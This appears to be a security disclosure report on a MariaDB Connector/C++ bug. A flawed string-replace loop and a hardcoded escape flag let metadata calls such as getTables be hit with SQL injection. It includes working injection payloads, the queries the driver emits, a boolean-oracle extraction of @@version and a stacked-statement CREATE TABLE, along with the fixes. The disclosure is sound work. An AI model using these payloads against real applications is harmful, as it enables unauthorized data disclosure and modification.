MariaDB · Report #3890289
Connector/C++ string escaper re-escapes its own output, enabling SQL injection
How it was found
Utils::escapeString is the escaper behind every identifier and literal that MariaDbDatabaseMetaData interpolates into the information_schema queries it builds. It is implemented on top of sql::mariadb::replace, whose inner loop advances its search cursor by the length of the substitution instead of to the end of the substitution it just made. It therefore finds and re-escapes the characters it has itself inserted, emitting a run whose length depends on where the character sat in the input. For backslash doubling that run is frequently odd, which leaves one live escape character that consumes the closing quote of the literal. An application that passes an untrusted table, schema, or column name to a DatabaseMetaData method gets SQL injection.
Details
The defect is in src/util/String.cpp:64-76:
SQLString& replaceInternal(SQLString& str, const SQLString& _substr, const SQLString &subst)
{
size_t pos= 0, prev= 0;
...
while ((pos= real.find(substr, prev)) != std::string::npos)
{
real.replace(pos, substr.length(), realSub);
prev+= realSub.length();
}
prev must become pos + realSub.length(). Instead it accumulates realSub.length() from zero, so after replacing a character at position p the next search starts at 2, 4, 6 and so on, which is behind p. The loop re-finds the inserted substitution and replaces it again, repeating until prev passes the run. One input character therefore becomes roughly p+1 output characters.
Utils::escapeString (src/util/Utils.cpp:66-81) uses that helper for both of its passes:
SQLString escaped= replace(value, "'", "''");
if (noBackslashEscapes){
return escaped;
}
return replace(escaped, "\\", "\\\\");
Quote doubling always produces an even count, so it survives the multiplication. Backslash doubling does not: a single backslash at index 5 comes out as seven backslashes, an odd run, and the trailing one escapes the quote that follows.
There is a second, independent defect on the same path. Three sibling helpers in MariaDbDatabaseMetaData.cpp escape metadata arguments, and they do not agree:
:526 return "'" + Utils::escapeString(value, connection->getProtocol()->noBackslashEscapes()) + "'";
:570 return "("+columnName +" "+predicate +" '" + Utils::escapeString(tableName,true)+"')";
:580 return "(" + columnName + " " + predicate + " '" + Utils::escapeString(schemaName, true) + "')";
escapeQuote at :526 passes the live server flag. patternCond at :570 and schemaPatternCond at :580 hardcode true, which tells the escaper that backslash is not an escape character. Against a server whose sql_mode does not contain NO_BACKSLASH_ESCAPES, which is the default, backslash is an escape character, so those two helpers never escape it at all.
Either defect alone is enough to break out. This was measured rather than assumed: a search over 336 payload shapes was run against four builds.
[STOCK HEAD c57f17f ] payload shapes tried=336 injecting shapes=42
[fix A only (escape flag)] payload shapes tried=336 injecting shapes=36
[fix B only (replaceInt.)] payload shapes tried=336 injecting shapes=0
[fix A + fix B ] payload shapes tried=336 injecting shapes=0
Correcting only the hardcoded flag leaves 36 working payload shapes, because the backslash doubling it enables is still multiplied into an odd run. Correcting replaceInternal closed every shape tried. Both should be fixed, and the durable fix is to route these through mysql_real_escape_string the way CONCPP-153 did for parameter values.
The reachable surface is the whole metadata layer. patternCond and schemaPatternCond are used by getTables, getColumns, getPrimaryKeys, getProcedures, getProcedureColumns, getFunctions, getFunctionColumns, getColumnPrivileges and getTablePrivileges. escapeQuote, which shares the broken replace, feeds a further fourteen catalogCond call sites. MariaDbConnection::quoteIdentifier (:85-87) and the public MariaDbStatement::enquoteIdentifier (:375) are built on the same replace, so the driver's own identifier-quoting API is affected too.
PoC
-
Start MariaDB 11.4 with default sql_mode. Create schema pocdb with tables alpha and zsecret, and schema otherdb with table alpha.
-
Have the application call getTables asking only for the single table "alpha". Benign control:
=== BENIGN CONTROL: tableNamePattern = "alpha" ===
row: pocdb.alpha
[benign] rows=1
- Pass an untrusted name instead. tableNamePattern = alpha' OR 1=1 OR TABLE_NAME LIKE ' The driver emits, as captured from the server general log:
WHERE (TABLE_SCHEMA = 'pocdb') AND (TABLE_NAME LIKE 'alpha\'''''''' OR 1=1 OR TABLE_NAME LIKE '''''''''''''''''''''''''''''')
The backslash consumes the first quote, three pairs become literal quotes, the seventh closes the literal, and OR 1=1 lands in code position:
=== POSITIVE 1: literal breakout, force the predicate true ===
row: pocdb.alpha
row: pocdb.zsecret
[OR 1=1] rows=2
zsecret is returned although the application asked only for alpha.
- Inject through schemaPattern instead and the schema restriction is bypassed, returning a table from a different database:
=== POSITIVE 2: cross-schema, inject via schemaPattern ===
row: otherdb.alpha
row: pocdb.alpha
[schema OR 1=1] rows=2
- The same breakout supports a subquery, which gives a boolean oracle and byte-by-byte extraction. The application still only ever asks for table alpha:
control: 1=1 rows=2 TRUE
control: 1=2 rows=0 FALSE
mysql.user count > 100 rows=0 FALSE
mysql.user count > 0 rows=2 TRUE
@@version starts with '1' (0x31) rows=2 TRUE
@@version starts with '9' (0x39) rows=0 FALSE
Byte-by-byte extraction of @@version via the same oracle:
recovered @@version prefix = "11?4?1"
The two ? are '.' characters, which sit below the 0x30 floor of the scan loop.
- Negative control. Correcting replaceInternal (poc/fix/F2_rootcause_fix.diff) and re-running the same 336 payload shapes yields zero injecting shapes, and the same payloads now emit a correctly escaped literal.
Scenario A (sanity): getTables(schema=pocdb, table="alpha") -> rows=1, exactly the table requested Scenario B (negative control): replaceInternal-fixed build (poc/fix/F2_rootcause_fix.diff) -> 0 of 336 payload shapes inject Scenario C (attack): stock HEAD -> 42 of 336 shapes inject; pocdb.zsecret returned unasked; otherdb.alpha returned across the schema restriction; @@version recovered byte by byte
Artifacts:
- poc/poc_evidence.txt, full transcript including benign and fixed controls
- poc/poc_sqli.cpp, poc/poc_exfil.cpp, poc/poc_injsearch.cpp, poc/poc_chain2.cpp
- poc/fix/F2_rootcause_fix.diff, poc/fix/F2_one_line_fix.diff, poc/fix/F2_both_fixes.diff
- Affected: src/util/String.cpp:64-76, src/util/Utils.cpp:66-81, src/MariaDbDatabaseMetaData.cpp:570 and :580, at HEAD c57f17f
Preconditions, stated plainly. The attacker must control a string the application hands to a DatabaseMetaData method. Applications that let a user pick a table or schema to inspect, database tooling and admin consoles, ORMs that reflect schema using a caller-supplied name, and multi-tenant services that derive a schema name from tenant input all match that shape. Applications that only ever pass compile-time constants are not affected. No non-default connection option is required, and the server needs only its default sql_mode.
Impact
Demonstrated on a running server: rows the application did not ask for, disclosure across a database boundary that the caller explicitly restricted, and blind byte-by-byte extraction of arbitrary server-side values through a boolean oracle.
The write side follows from a separate defect reported alongside this one. Connector/C++ passes the literal CLIENT_MULTI_STATEMENTS to mysql_real_connect at ConnectProtocol.cpp:474 and discards the capability mask it computed, so stacked statements are always enabled even with allowMultiQueries left at its default of false. Chained, a getTables argument executes arbitrary additional statements. This was confirmed end to end: the statement pair below created a table.
WHERE (TABLE_SCHEMA = 'pocdb') AND (TABLE_NAME LIKE 'alpha\'''''''') ; CREATE TABLE pocdb.canary_c (id INT); -- ')